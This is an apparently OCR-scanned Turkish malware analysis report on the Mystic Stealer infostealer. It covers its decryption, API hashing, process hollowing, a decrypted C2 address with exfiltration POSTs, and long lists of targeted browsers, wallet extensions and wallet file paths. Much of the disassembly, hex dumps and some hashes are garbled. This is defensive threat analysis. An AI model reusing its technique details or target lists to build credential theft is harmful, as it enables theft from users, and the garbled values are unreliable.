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On Bakis

Mystic Stealer, ilk kez Nisan 2023'te tanitilan yeni bir zararli yazihmdir. Yaklagik 40
web tarayicisinin ve 70'ten fazla tarayici uzantisinin kimlik bilgilerini, kripto para
cuzdanlarini, Steam ve Telegram uygulamalarini hedef almaktadir. Mystic Stealer'in
geligtiricisi, anti-analiz ve savunmadan kaginmaya odaklanir. Zararli yazilim ayrica
CPU bilgisi, CPU islemci sayisl, Bilgisayar adi gibi bilgileri de caldigi gortimektedir.
Mystic Stealer, toplanan bu bilgileri en son, komuta ve kentrol (C2)/'sunuculariyla TCP
uzerinden . 6zel bir ikili protokol kullanarak iletisim kurar ve sunucuya bu bilgileri

gonderir.
Bu koétu.amacli yazilim virts bulasmis bilgisayarin;

e Web tarayicilarina kaydedilen kredi karti bilgilerine,

e Web tarayicilarina kaydedilen.otomatik doldurma bilgilerine,
o Web tarayicilarina kaydedilen ¢erez bilgilerine,

e Web tarayicilarina kaydedilen kripto cuzdan bilgilerine,

e Sistem bilgilerine,

e Uygulama sifrelerine,

¢ Blockchain cuzdanlarina ulasmaktadir.
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MysticStealer.exe Analizi

Adi cfc7378d842a1d114c2838942960470f11a2f55d48d3d3d2b72c8db
cdede6574.exe

MD5 43f1040beb90e0054c1759028b5eae5e

SHA256 cfc7378d842a1d114c2838942960470f11a2f55d48d3d3d2b72c8db
cde4e6574

Dosya TurU PE32/Exe

Statik Analiz

Yapilan statik analiz sonucu stringler icerisinde;

C:\Windows\Microsoft:NET\Framework\v4.0.30319\AppLaunch.exe dosya yoluna

rastlanmaktadir. Bu string bilgisinden AppLaunch.exe ‘dosyasinin galistirilacagi

anlasiimaktadir.

: Ba4846EF
ree4a46C2
1BB4a46C7
1 BadadeCC
1eB4a4601
188484603
1 B24a4503
188484603

74 33

GA 81
71 41
AE 8@
3A BB
Ba 42

BC 24
BF 34
aa 42
8l FE
72 C2
Ea E7
FF BB
FF B85
a0 4C

IDA ile zararl

edilmistir.

ror edx, BEEh
FF FF call loc_4@lD4s
88 88 mowv eax, 28h ; ('
28 B cmp eax, @8D4h ; 'O
jl short near ptr loc_4846D342
loc_4846D3: ; CODE XREF: .text:884846011%j
F& BA jmp near ptr
68 dd 68@16AB5h
a8 dd offset aDAnthonyMartin ; "¥d Anthony Martin Grosvenor Christopher™
2@ dd BABESh
db @, 38h, 36h
ee dd offset byte_4260080
db 83h
JC 34 T8+ dd 7Ce4eCCah, @F2C7834h, 7B2C6234h, GAB49B34h, 332C1E34h
52 2C 7B+ dd 542C1D34h, 8688DF34h
ae dd offset byte_42ee880
2@ 32 @2+ dd @FE8146h, 728008232h, 750474C2h, BEBEVE982h, BFFFFCF58h
74 84 75+ dd @FF44958Bh, @D285FFFFh, 8D8B2F74h, @FFFFFF4Ch, @CA2BC28Bh
EG 58 CF+ dd 81FCE183h, 1@@eFsh, 8B16728eh, @C133FCSeh, B3C22B23h
95 44 FF+ dd @F883FCC@h, 5139771Fh, 185E852h, @C43306@0h, 288D3D8sh
D2 74 2F+ dd BESFFFFFFh, @FFFFD19Ch, 33FC4D8Bh, ©CD335FCBh, 185E85Eh
FF FF FF+ dd BESEBeeedh, SBE38BSDh

Sekil 1 - Obfuscate

statik olarak incelendiginde kodlarin anlamlandirilamadigi tespit
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Dinamik Analiz

Runtime
| Basla l—) decryption ————————> Api Hashing
Process
Hallowing

Sekil 2 - MysticStealer.exe Akis

Program.akisinin.ana hatlari;

1. Enjekte edilecek zararlinin galisma zamaninda ¢ozumlenmesi,
2. Caginlacak API ¢agrilarinin APl Hashing teknidi‘ile alinmasi,
3. ZararhmintApplLaunch.exe igerisine enjekte edilmesi,

olarak siralanmaktadir.

Program calistirildiginda ilk olarak zararlinin bellekte sifreli olarak tutulan tum
byte’larinin decrypt edildigi géruldl. Tum byte’lar teker teker alinarak xor, sub ve add
islemlerine tabi tutularak.orijinal degerleri elde edilir.

hid

mysticstealer.00E346D7

push 1

push mysticsteale 3 E471C4:"%d Anthony Martin Grosvenor Christopher sd
call mysticsteale

mov al,byte ptr ds:[esi+E50000]
add esp,cC
4 o

s\\Desktop\\mysticstealer. exe
rsi\aktss\\DeskTop\\mysticstealer. exe

mysticstealer.Q0E34715

je mysticstealer.E3471B

Atlamayacak
mysticstealer.00E34733

. text:DDE34735 mysticstealer.exe: §4735 #3835

@4 Dakim1 4 Dkiim2 B4 Dikim3 8% Dékim4 8% D&kimS (=27 [x=] Yerel Degiskenler :,-' Yapi

Adres ASCIT
DDE50000 5A 90 00|03 00 00 00|04 00 0O OO[FF FF 00 OO[MZ.......... 152

DOE50010
DDE50020
0DE50030
0DE50040

00
00 c
00 c
1F BA OE(00 B4 09 CD|21 B8 01 4C|CD 21 54 68|. .11 .LI1Th
73 20 70(72 6F 67 72|61 6D 20 63|61 6E GE GF|is program canno
20 62 65(20 72 75 6E|20 63 GE 20|44 4F 53 20(t be run in DOS
6F 64 65[2E OD 0D 0A|24 00 0D 00|00 00 00 OO[mode....$.......
9E 03 DA|A4 FF 6D 53|A4 FF 6D 53|A4 FF 6D 59|a...HymYEymyEymY
8D GE 58(AS8 FF €D 59|77 8D 68 58|32 FF &D 59[w.nX ymyw.hXzymy
8D 69 58(BO FF 6D 59|00 81 90 59|A6 FF &D 59 [w.iX*ymy...Y.ymy
81 68 58(82 FF €D 59|00 81 &9 52|85 FF &D 59[..hX.ymYy..ixpymy
81 8 77 7 9| . . nx>ymyw, Txgimy
FF 6C £9(F0 FF 6D 59|BO 80 &4 52|84 FF &0 59[=y1vdymy*.dX ymy
80 92 59(A5 FF 6D 59|BO 80 6F 58|A5 FF 6D 59 °,.v¥ymy*.ox¥ymy
00ES00F0[52 69 63 68la4 FF 6D 59(00 00 00 00|00 00 00 00lRicheVmy

Sekil 3 - Runtime Decryption

>
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Daha sonra karsilastirilacak hash degerlerinin sirasiyla API ve DLL ismi olacak sekilde

ilgili fonksiyona pushlandigi ve return degeri olarak APl adresinin déndarildigu
' goOrulmektedir.

. &8 0D1DA430 push 30A41D0D

. FF35 00329800 push dword ptr ds:[983200]

] C745 FO 00000000 mov dword ptr ss:|[lebp-10§,0

. ES 52040000 call mysticstealer.971B30 eax:CreateProcessAa

. 68 C3702CDO push DO2CFOC3

. FF35 00329800 push dword ptr ds:[983200]

. BBFO mov esi,eax esi:CreateProcessA

. ES 47040000 call mysticstealer.971B30 eax:writeProcessMamory
L] SBD S mov ebx,eax ebx:WriteProcessMemory

Sekil 4 - APl Hashing

Process Hollowing

Elde edilen API adreslerinin process hollowing teknigi igin sirasiyla gagrihp
kullanildig1 gézlemlenmistir.

Cagnilan API fonksiyonlari;

e CreateProcessA

e VirtualAlloCEX

e GetThreadContext

e SetThreadContext

e ReadProcessMemory
e WriteProcessMemory
e ResumeThread

e TerminateProcess

&
Dosya GoinGm Debug Tracng Eldentier Sk Kulandanker  Secenelder  Yardm
S8 U tey t2 B TSN N
Bou ek Notl as &) senboler <> Kaynak Refeardler  Wigpargackian i Tutamade €7 Iz
S FPU Gizle
ernel32. writeprocessuenory>

M process Hackes - o x
Hacker View T sers Help
2 Rel ns | @ Find handles or DLLs 5#% System information 3 X earch Processes (Ctri~ K ;.|
Processes Services Network  Disk L
820
5 Name PD  CPU UOtotsl.. Prvateb.. Username Description 5
bx=dkernel32. wr | teProcessmMencry> € msedgeexe 2% 1381 M8 Microsoft Edge
€ msedge.exe 144 745 M8 Microsoft Edge
v 3% x32dbg.exe a2 0 3492 M8 x64dbg i:
YS00om:  $4ockm2  $S0owm3  $S0comd  $Sckms @ idel  lolveeDedgene ) van v [+ mysticstesler.exe 1968 001 1M8
Adres | wex | AscIT 1
olEmas o 04 STFF FF 00 00| BZrsrsnneesyy 18 ProcessHacker.ece 640 034 184 M8 Process Hacker
9|20 v &) nppUlere a4 00 58,87 M8 Reasonlabs Application
" ) rsAppUlexe 9052 256M8 ReasonLabs Application
) rsAppULexe 9116 10M8 ReasonLabs Application
) rsAppUlLexe 9208 31,84M8 ReasonLabs Application

Sekil 5 - Process Hallowing

ilgili adresten enjekte edilen zararliya ait process’in dump’i alinarak incelenmeye
devam edilmistir.
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AppLaunchDump.exe Analizi

Adi 400000.exe
MD5 d2c44de6b26bbf79cee8666¢ch0blacd6
SHA25 | 26251f26cec6a8ac056686e7997df73c96432ec3a3d839dbbh3039222fe68

6 6f35
Dosya | PE32/EXE
Taru

Dinamik Analiz

e N

- h
o 4% Tﬂ:::i N Zararli Stringlerin Sistem Bilgilerinin
B ——— —_—
EEIE < ;:;i m:; 4 Evet Kurulmasi Alinmasi
N 4
y
~
C2C Sunucudan T
Dosyalara Ait Verilerin Veritabani EKl ara”ylrcil i Tarayici Bilgilerinin
— — —
toplanmasi Dosyasinin Kuntf:ItE;Ilnrnr;sl Toplanmasi
indirilmesi
Toplanan Verilerin C2C Sunucudan indirilen Zararlya Ait
C2C Sunucuya ———3  Zararl Dosyanin ———3 Zamanlanmis Gorevin —— 3
Génderilmesi indirilip Calistinlmasi Olusturulmasi

Sekil 6 - AppLaunchDump.exe Akis
Program akisinin ana hatlari;

1. Zararli iglem 6ncesi kontrollerin yapilmasi,

2. Zararli iglemin gergeklestiriimesi,

3. Toplanan bilgilerin C2 sunucusuna génderilmesi,

4. Zararh dosyanin C2 sunucusundan indirilmesi,

5. indirilen zararl dosya igin gérev zamanlanmasi olusturulmasi,

olarak siralanmaktadir.
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Zararl yazilimin, éncelikle sistem tarihini kontrol edip, bunu 2023-09-12 20:08:32 tarihi
ile karsilastirdigi gdézlenmektedir. Eger sistem tarihi bu tarihi ge¢misse kendini

kapatmaktadir.

ES 61350000 call applaunchdump.&C2CBC
FFDO eall =ax
BDOCZ24 lea ecx,dword ptr ss:|lespd
ES 3BCS0000 call applaunchdump.6CBCAD
8cD2 test edx,edx

~ 7F OE ja applaunchdump.&BF777

~ 7C 07 71 applaunchdump.&BF772
3D 40C50065 cmp eax,&500C540

~ 77 05 ja applaunchdump. GBF777
ES 2DAAODOD call applaunchdump.6CAIA4
33C0 XOr eax,eax
40 inc eax
BBES mov esp,ebp
E{v] pop ebp
CZ2 1000 BEf 10

Sekil 7 — Tarih Kontroldi

eax: systemTimeToFileTime

2023-09-12 20:08:32

C2 Sunusu ileviletisim kurulamadan 6nce sifreli bir sekilde tutulan 1P adresi _alinip
¢cOzulerek déndurtldugu gézlemlenmektedir.

8E8424 SCO00000 mov eax,dword ptr ss:|fesp+3aC]

C1EE 18 shr ebx,13

82C0 08 add e=ax,s

C1E9 18 shr ecx,13

8854 0L mov byte ptr ds:[edx+1],b]

5544 05 mov byte ptr ds:[edx+5],c]

83C2 08 add edx,s

826C24 40 01 sub dword ptr ssiffesp+40],1

83B424 COO0O0000 mov dword ptr ss:|lesp+Co),esi

838424 SCO00000 mov dword ptr ss:|fesp+aC],eax
~-0F85 4EFFFFFF jne 400000.CAAZOT

BE7424 38 mov esi,dword ptr ss:|lesp+35]

Sekil 8 - IP Decrypt

edx: L"7573E5900449691 T T TFIF"

[esp+38]:"http://5.42.92.211,/"

IP adresinin baglantinin gergeklestirilecegi fonksiyona parametre olarak verildigi

gorulmektedir.

BDE424 24000000
50

&8 000000DEBD

53

FF75 00

E8 AOCOFFFF

I L PP
lea eax,dword ptr ss:[Jesp+24]
push eax

push 80000000

push ebx

push dword ptr ss:[Jebpll

push 2

pop_ecx

€all applaunchdump.832CBC

Sekil 9 - IP Address

[ebp]:"http://5.42.92.211/Toghub/master"

Baglanti sonucunda Token ve Config bilgilerinin donduraldugu tespit edilmistir.

~ 7C ED
804424 18
883C24 BCOODO
1]

8D4424 24

E8 C6DIFEFF
83C4 0oC
8BF3
85C0

~-0F84 B1010000
BA 11EA77BF

~| OF87 32C010000

11 applaunchdump. 8383A9
lea eax,dword ptr ss:[fesp+15]

00 mov byte ptr ss:|Jesp+&ec,bl

push eax

lea eax,dword ptr ss:[fesp+24]
push eax

lea eax,dword ptr ds:[edi+4]
push eax

€all applaunchdump. 825D93C
add esp,C

mov esi,ebx
test eax,eax
Jjelapplaunchdump. 838594/

mov edx,BF77EALL
3100 mov word
3100 mov word
3100 mov word
3100 mov word
3100 mov word
3100 mov word

3100 mov word
3100 mov word
3100 mov word
3100 mov word

:fesp+14,31

omp esi,A
ia applaunchdumo. 838573

Sekil 10 - Config Info

[esp+18]:"1|1|1|0|1|1|1|0|L1]|2

eax: "644122cd9529720bbb411e2a%c329cc

eax:"”
eax:"”
eax:"644122cd3529

0bbb411e2a3c329cc

eax: "644122cd9529720bbb411e2a3c329cc

>
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Zararli, loglarini tutmak icin Temp dizininde dosya olusturdugu fark edilmektedir.

. 33C9 XOF eCx,ecx ecx:L"C:y\\Usersi’\aktss\\AppData‘\\Locally\Temph\\4375vtb45tv8225nv4285n2. tXL"
. 68 00000040 push 40000000

. 50 push eax eax:L"C:ih\Usersi\aktssh\AppData'\Locall\Temph ", 4375vtb45tvB225nv4285n2, TXt"
. BA FEDBE4FOD mov edx,FOE4DETE

. 41 inc ecx ecx:L"C:\\Usersihaktssh\AppDataiiLocaly\Temph "\ 4375vEtb45tv8225nv4285n2. tXt"
. EE EOQOE0000 €all 400000.3C2CBC CreateFile

. FFDO £all eax

Sekil 11 - Log Dosyasi

Sistem Dbilgilerinin  alinarak SystemiInformation.txt dosyasina 'yazildigi ve C2
Sunucusuna gonderildigi gdzlemlenmektedir.

- o ools L auu Tap, L
. 8D4C24 14 lea ecx,dword ptr ss:[lesp+14f)

. B8BD6 mov edx,esi esi:L"\ryRAM: 221360128011"

. E8 AZ060000 €all applaunchdump.83B934

. 8B5424 1C mov edx,dword ptr ss:|lesp+ic[]

. BDB8424 54020000 Tea eax,dword ptr ss:|esp+254f)

. BB4CZ24 14 mov ecx,dword ptr ss:fesp+14]

. 50 push eax eax:"Sent system information\n"
. ES 3DDBFFFF call applaunchdump. 838DE4

. pop ecx ecx:L"systemInformation. txt™

. 804424 50 lea eax,dword ptr ss:[lesp+5of

. push eax eax:"sent system information\n”
. E8 S5473FFFF call applaunchdump. 832606

. 59 pop ecx ecx:L"SystemInformation. txt"

. 56 push esi esi:L"\rYWnRAM: 221360128011"

. ES8 3TA4FEFF call applaunchdump.8256F0

Sekil 12 — Sistem Bilgisi

Build mark: gitis-

IP: {ip}

File Location: C:“Users" .Desktop\4000600 . exe
UserName:

ComputerMName: DESKTOP-

Country: {country}

Location: {location}

Zip code: {zipcode}

TimeZone: {timezone}-

HWID:

Current language:

ScreensSize: 1894xB97-

Operation System: Windows 18 Pro Education =64

Available KeyboardLayouts:

Hardwares:

CPU: Intel(R)

GPU: VMware SVGA 3D
RAM: 42

Sekil 13 — Sistem Bilgisi Gonderildi

C2 Sunucuya chromium-browsers isteginin gonderilip tarayici listesinin alindigi ve
sirasiyla kontrol edildigi tespit edilmistir.

| POST 200 & 54292211 floghub/master Y 284 bytes  Text v
I POST 200 -] 54292211 floghub/master 1 oFmNOxX9iKg7bGxLTENp
I POST 200 £ 54292211 floghub/master 2 Content-Disposition: form-data; name="msg"
3
I POST 200 £ 54292211 floghub/master 4 Yzhyb21pdwetynvd3nlent=
I POST 200 £ 54292211 Aloghub/master 5  --oFmNOxX9jKg7bGxLTENp
) 6 Content-Disposition: form-data; name="token"
I POST 200 8 54292211 floghub/master .
I POST 200 e 5.42.92.211 Aloghub/master 8 NzJ1Yzcx0GMAZDRmMT kY JNiMDcyNmQ4AMDIxNDUANFc4ZDM3ZT IkODk
| POST 200 & 54292211 /loghub/master 2MBRIYTELYTZmONIKZDATYmRkNDZ 1Ng ==
9 - -oFmNOxX9]Kg7bGxLFENp--
I POST 200 e 54292211 Aloghub/master 1@

Sekil 14 — Tarayici Kontrolii



8BCF
E8 D8010000
59

59
8D8424 88000000

BD4424 34
50

A 00

E8 E35BFFFF
83C4 0OC
BECD

mov ecx,edi ’ - - ecx:L"Epic Privacy Browser™

'
£all 400000.3BFDEB tarayici

pop ecx ecx:L"Epi Browser"

pop ecx ecx:L"Epi Browser"

Tea eax,dword ptr ss:[fesp+3s] [esp+88]:L"%1 ppdata¥y\Epic Privacy Browser
push eax eax:L"Epi vacy Browser"

Tea eax,dword ptr ss:[fesp+34f)

push eax eax:L"Epic Privacy Browser"

push 0

call 400000.3B57DC

add esp,C

test eax,eax eax:L"Epic Privacy Browser"

Sekil 15 - Tarayici Kontrol Fonksiyonu

Zararl yazihmin hedefledigi tarayici listesi;

User Data

Tarayici Adi Path

Citrio %localappdata%\CatalinaGroup\Citrio\User Data
Coowon %localappdata%\Coowon\Coowon\User Data
Liebao %localappdata%\liebao\User Data

QIP Surf %localappdata%\QIP Surf\User Data

Orbitum %localappdata%\Orbitum\User Data

Comodo Dragon %localappdata%\Comodo\Dragon\User Data
Amigo %localappdata%\Amigo\User\User Data

Torch %localappdata%\Torch\User Data

Yandex Browser %localappdata%\Yandex\YandexBrowser\User Data
Comodo %localappdata%\Comodo\User Data

360Browser %localappdata%\360Browser\Browser\User Data
Maxthon3 %localappdata%\Maxthon3\User Data

K-Melon %localappdata%\K-Melon\User Data

Sputnik %localappdata%\Sputnik\Sputnik\User Data
Nichrome %localappdata%\Nichrome\User Data

CocCoc %localappdata%\CocCoc\Browser\User Data
Uran %localappdata%\Uran\User Data

Chromodo %localappdata%\Chromodo\User Data

Mail.Ru %localappdata%\Mail.Ru\Atom\User Data

Brave Browser %localappdata%\BraveSoftware\Brave-Browser\User Data
Opera %appdata%\Opera Software\Opera Stable

Google Chrome

%localappdata%\Google\Chrome\User Data

Microsoft Edge

%localappdata%\Microsoft\Edge\User Data

Chromium %localappdata%\Chromium\User Data

ChromePlus %localappdata%\MapleStudio\ChromePlus\User Data
Irpathium %localappdata%\Irpathium\User Data

Opera %localappdata%\Opera Software

7Star %localappdata%\7Star\7Star\User Data

CentBrowser %localappdata%\CentBrowser\User Data

Chedot %localappdata%\Chedot\User Data

Vivaldi %localappdata%\Vivaldi\User Data

Kometa %localappdata%\Kometa\User Data

Elements Browser

%localappdata%\Elements Browser\User Data

Epic Privacy Browser

%localappdata%\Epic Privacy Browser\User Data

Uran

%localappdata%\uCozMedia\Uran\User Data

Sleipnir

%localappdata%\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer

4
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Tarayici bulundugu taktirde verilerin kaydedilmek Uzere sqlite veritabani dosyasinin

C2 sunucusundan alindigi ve Temp dizinine kaydedildigi gozlemlenmistir.

400000, 003C8073
mov ebp,ecx

xor bl,b
push eax ;
€all 400000.3BFB7C

pop ecx

Hjs 400000.3C30A1

mov ecx,dword ptr ss:jflesp+18f ; [esp+18]:"sqglite3”
eax: "cIFsaxR IMw==""
mov esi,eax ; esi:"c3FsaxRIMw=="", eax:"c3FsaxRIMw==""

test esi,esi ; esi:"ciFsaxRIMw="

Sekil 16 — SQLITE3

50

ES E9090000 €all 400000.3C2606

6A 00 ush ¢

804424 2C lea eax,dword ptr ss:|Jesp+zCf]

50

push FFFFFFFF

lea eax,dword ptr ss:|Jesp+1acf]
push eax

FFB424 E4000000 |push dword ptr ss:

FF56 08 €317 dword ptr ds:[e

6A FF
8D8424 BCO10000
50

53 push ebx - - ebx:L"C:\}

Usersh\aktss\\AppData\\Local‘\\Microsoft'\\Edge\\User Data‘‘Default\’\Login Data’
push eax eax:"SELECT origin_url, username_value, password_value FROM logins

push eax eax:"SELECT origin_url, username_value, password_wvalue FROM logins

eax:"SELECT origin_url, username_wvalue, password_walue FROM logins

[esi+8]:sqlite3_prepare_v2

Sekil 17 - SQL Sorgusunun Yapildigi Bélim

Bulunan tarayictlara ait uzantilarin kontrol edildigi gézlemlenmektedir.

. 33C0 Xor eax,eax

. 214424 6O and dword ptr ss:|lesp+eof,eax
- 65:5894424 36 mov word ptr ss:|fesp+36],ax
L] 804424 &0 1ea eax,dword ptr ss:|[fesp+e0]
. S50 push eax

. 804424 38 lea eax,dword ptr ss:|Jesp+3&]
- S50 push eax

L] 53 push esbx

. EB FT456FFFF call 400000.3B57DC

. 83C4 0OC add esp,C

. 85C0 test eax,eax

- ~ 0OF84 14020000 je 400000.3C02587

eax:L"Coinbase wallet™
[esp+60] : L"hnTanknocfeoTbddgci jnmhnfnkdnaad

[esp+60] : L"hnTanknocfeoTbddgci jnmhnfnkdnaad
eax:L"Coinbase wallet™

eax:L"Coinbase wallet™
ebx:L"Coinbase wallet™

eax:L"Coinbase wallet™

Sekil 18 - Tarayicl Uzant! Kontrolii

Zararl yazilimin hedefledigi tarayici eklentileri:

Eklenti Kimligi

Eklenti Adi

hnfanknocfeofbddgcijnmhnfnkdnaad

Coinbase Wallet

hpglfhgfnhbgpjdenjgmdgoeiappafin Guarda
binieiiffboillknjnepogjhkgnoapac EQUAL Wallet
cjelfplplebdjjenlipjcbimjkfcffne Jaxx Liberty
fihkakfobkmkjojpchpfgcmhfinmnfpi BitApp Wallet
kncchdigobghenbbaddojjnnaogfppfi IWallet
amkmjjmmflddogmhpjloimipbofnfjih Wombat
nlbmnnijcnlegkjjpcficimcfggfefdm MEW CX
nanjmdknhkinifnkgdcggcfnhdaammmj GuildWallet

nkddgncdjgjfcddamfgcmfnlhccnimig

Saturn Wallet

fnjhmkhhmkbjkkabndcnnogagogbneec

Ronin Wallet

cphhlgmgameodnhkjdmkpanlelnlohao

NeoLine

nhnkbkgjikgcigadomkphalanndcapjk

CLV Wallet

kpfopkelmapcoipemfendmdcghnegimn

Liquality Wallet

aiifonbfobpmeekipheeijimdpnlpgpp

Terra Station
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dmkamcknogkgcdfhhbddcghachkejeap Keplr
fhmfendgdocmcbmfikdcogofphimnkno Sollet
cnmamaachppnkjgnildpdmkaakejnhae Auro Wallet

jojhfeoedkpkglbfimdfabpdfjaoolaf

Polymesh Wallet

flpicilemghbmfalicajoolhkkenfel

ICONex

nknhiehlklippafakaeklbeglecifhad Nabox Wallet
hcflpincpppdclinealmandijcmnkbgn KHC
nkbihfbeogaeaoehlefnkodbefgpgknn MetaMask
ibnejdfimmkpcnlpebkimnkoeoihofec TronLink

fhbohimaelbohpjbbldcngcnapndodip

Binance Chain Wallet

finbelfdoeiohenkjibnmadjiehjhajb

Yoroi

jbdaocneiiinmjbjlgalhcelgbejmnpath Nifty Wallet
afbcbjpbpfadlkmhmclhkeeadmamcfic Math Wallet
ookjlbkiljinhpmnjffcofjonbfbgaoc Temple
mnfifefkajgofkcikempathiaecocnkjeh TezBox
lodccjjbdhfakaekdiahmedfbieldgik DAppPlay
ijmpgkjfkbfhoebgogflfebnmejmfbml BitClip

Ikcjlinjfpbikmcmbachjpdbijejflpcm

Steem Keychain

onofpnbbkehpmmoabgpcpmigafmmnijhl

Nash Extension

bcopgchhojmggmffilplmbdicgaihlkp

Hycon Lite'Client

klnaejjgbibmhlephnhpmaofohgkpgkd ZilPay
aeachknmefphepccionboohckonoeemg Coin98 Wallet
bhghoamapcdpbohphigoooaddinpkbai Authenticator
dkdedlpgdmmkkfjabffeganieamfklkm Cyano Wallet
nlgbhdfgdhgbiamfdfmbikcdghpathoadd Byone
infeboajgfhgbjpjbeppbkgnabfdkdaf OneKey
cihmoadaighcejopammfbmddcmdekcje LeafWallet
gaedmjdfmmahhbjefcbgaolhhanlaolb Authy

oeljdldpnmdbchonielpathgobddffflal

EOS Authenticator

ilgcnhelpchnceeipipijaljkblbcabl

GAuth Authenticator

imloitkgjagghnncjkhggdhalmenfkik

Trezor Password Manager

cgeeodpfagjceefiefimdfphplkenlfk Ever
pdadjkfkgcafgbceimcpbkalnfnepbnk KardiaChain
acmacodkjbdgmoleebolmdijonilkdbch Rabby
bfnaelmomeimhlpmgjnjophhpkkoljpa Phantom
fhilaheimglignddkjgofkcbgekhenbh Oxygen
mgffkfbpathihjpoaomajlbgchddlicgpn Pali
hmeobnfnfcmdkdcmlblgagmfpfboieaf XDEFI
Ipfcbiknijpeeillifnkikgncikgfhdo Nami
dngmiblcodfobpdpecaadgfbcggfjinm MultiversX DeFi Wallet
Ipilbniiabackdjcionkobglmddfbcjo Keeper
bhhhlbepdkbapadjdnnojkbgioiodbic Softlare
jnkelfanjkeadonecabehalmbgpfodjm Govy
jhgnbkkipaallpehbohjmkbjofjdmepath SteemKeychain
jnigamecbpmbajjfhmmmlhejkemejdma Braavos
kkpllkodjelopathieedojogacfhpaihoh Enkrypt
mcohilncbfahbmgdjkbpemcciiolgcge OKX




gjagmgpathdbbciopjhllkdnddhcglnemk HashPack
kmhcihpebfmpgmihbkipmjimmioameka Eternl
phkbamefinggmakgklpkljjmgibohnba Pontem Aptos
efbglgofoippbgcjepnhiblaibcnclgk Martianin
cjmkndjhnagcfbpiemnkdpomccnijblmj Finnie
aijcbedoijmgnimjeegjaglmepbmpkpi Leap Terra
fdjamakpfbbddfjaocoikfcpapjohcfmg Dashlane
fooolghllnmhmmndgjiamiiodkpenpbb NordPass
pniccmojcmeohlpggmfnbbiapkmbliob Roboform
hdokiejnpimakedhajhdicegeplioahd LastPass
naepdomgkenhinolocfifgehpathddafch BrowserPass
bmikpgodpkelnkgmnpphehdgcimmpathed | MYKI

Zararlt, gecko-browsers istegi ile ikinci bir tarayici listesi dondurmekteve kontrol
etmekiedir.

400000, 003C 4815

push eax ; eax:"Gonna grab GeckoBrowsershyn”
Hcall 400000.3C2606

cmp byte ptr ds:[esi+2],0

pop ecx

jne 400000.3C4843

Sekil 19 - GeckoBrowsers

8D95 18FDFFFF lea edx,dword ptr ss:[[ebp-2e3]

.

. BBCE mov ecx,esi ecx:L"Firefox™
L E& 4E010000 call 400000, 3C4AAZ

] 4] pop ecx ecx:L"Firefox™
. 8D35 GOFFFFFF lea eax,dword ptr ss:[febp-Ao] [ebp-AD] : L"%appdatax \Mozilla \Firefox \Profiles|
L] 4] push eax eax:L"Firefox™
] 8045 FC lea eax,dword ptr ss:[febp-4])

. 50 push eax eax:L"Firefox™
L] &4 00 push 0

. E8 FLO0EFFFF call 400000.32B57DC

. B83C4 0OC add esp,cC

. B85C0 test eax,eax eax:L"Firefox"
. «~ 0OFB5 71FFFFFF ine 400000.3C48E3

Sekil 20 - GeckoBrowsers Kontrolii

Zararl yazilimin hedefledigi gecko-browsers listesi:

Tarayci Adi Path

firefox %appdata%\Mozilla\Firefox\Profiles

Comodo IceDragon %appdata%\Comodo\lceDragon\Profiles

Cyberfox %appdata%\8pecxstudios\Cyberfox\Profiles

BlackHawk %appdata%\NETGATE Technologies\BlackHawk\Profiles
K-Meleon %appdata%\K-Meleon\Profiles

Icecat %appdata%\Mozilla\icecat\Profiles
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kontrol etmektedir.

Zararli, sunucuya gonderdigi files istedi ile dosya listesi dondurmekte ve sirasiyla

call 400000.3CBE22

mov edi,eax ; edi:"http://5.42.92.211/", eax:"Gonna grab files\n"
mowv ecx,ebx

mov dword ptr ss:[lesp+10C), edi

test edi,edi ; edi:"http://5.42.92,211/"

je 400000.3C37C3

3D4424 44
50
aD4424 44
50

57
E8 2A24FFFF

85
~ 0OF84 F10320000

Sekil 21 — Dosya Kontrolii Baslangici

o
lea eax,dword ptr ss:|[[esp+44f] [esp+44]:L"%appdata¥’’com. Tiberty. jaxxi\IndexedDBEY\file__0. indexeddb. 1eveldb
push eax eax:L"wallets/Jaxx Desktop"

lea eax,dword ptr ss:[[esp+44] [ L #appdata¥\’\com. liberty. jaxx'\IndexeddB'\file__0.indexeddb.leveldb
push eax a lets/Jaxx Desktop”

push edi edi:L"wallets/Jaxx Desktop"

call 400000.3B57DC

mov ecx,8ax

add esp,C

test ecx,ecx

je 400000.3C37B0

ecx:L"wallets/Jaxx Desktop”, eax:L"wallets/Jaxx Desktop”

ecx:L"wallets/Jaxx Desktop

Sekil 22 - Dosya Kontrolii

Zararl.yazilimin hedefledigi dosya listesi:

Dosya Adi Path
Wallets/Jaxx %appdata%\com liberty.jaxx\IndexedDBJ\file__O:indexeddb.le
Desktop veldb

Wallets/Atomic

%appdata%\atomic\Local Storage\leveldb

Wallets/Binance

%appdata%\Binance

Wallets/Coinomi

%appdata%\Coinomi\Coinomi\wallets

Sda/mafiles

%userprofile%\Downloads

Sda/madocs

%userprofile%\Desktop

Wallets/Exodus

Y%appdata%\Exodus

Wallets/Bitcoin

%appdata%\Bitcoin\wallets

Core

Wallets/Bitcoin %appdata%o\Bitcoin

Core OId

Wallets/Dogecoin %appdata%\Bitcoin\wallets
Wallets/Raven %appdata%\Raven

Core

Wallets/Daedalus %appdata%\Daedalus Mainnet\wallets
Mainnet

Wallets/Blockstrea | %appdata%\Blockstream\Green\wallets
m Green

Wallets/Wasabi %appdata%\WalletWasabi\Client\Wallets
Wallet

Wallets/Ethereum

%appdata%\Ethereum

Wallets/Electrum

%appdata%\Electrum\wallets

Wallets/ElectrumLT
C

%appdata%\Electrum-LTC\wallets

Wallets/Electron
Cash

%appdata%\ElectronCash\wallets

Wallets/MultiDoge

%appdata%\MultiDoge

4

I .



Wallets/Jaxx %appdata%)\jaxx\Local Storage
Desktop Old

Sda/docsx %userprofile%\Desktop\maFiles
Sda/docsxh %userprofile%\Downloads\maFiles
Sdalfile %userprofile%\Downloads
Sda/docs %userprofile%\Desktop

Zararlinin telegram, steam ve office uygulamalarina ait bilgilere erismeye calistigi
tespit edilmigtir.

. 85C0 test eax,eax eax:GetFileattributesw

-8 ~ 0OF84 84000000 je 400000, 3C4506

. 2309 XOF eCX,ecx

L BA 93L5BBLEE mov edx,EEBS5593

. 4 push esi esiiL"CiyN\Usershyhaktssh\h\Telegram Desktopihtdata™
. 41 inc ecx

L E8 2CEBFFFF call #00000.3C2CBC

[T FFDO call =ax eax:GetFileAttributesw

&1 83F8 FF cmp eax,FFFFFFFF eax:GetFileattributesw

-8 ~ 74 &F je 400000, 3C4506

Sekil 23 wTelegram Kontrol

Epush eax ; eax:L"SteamPath”
push 101
push ebx
push edx ; edx:L"software\wvalve'\hSteam™
push ecx
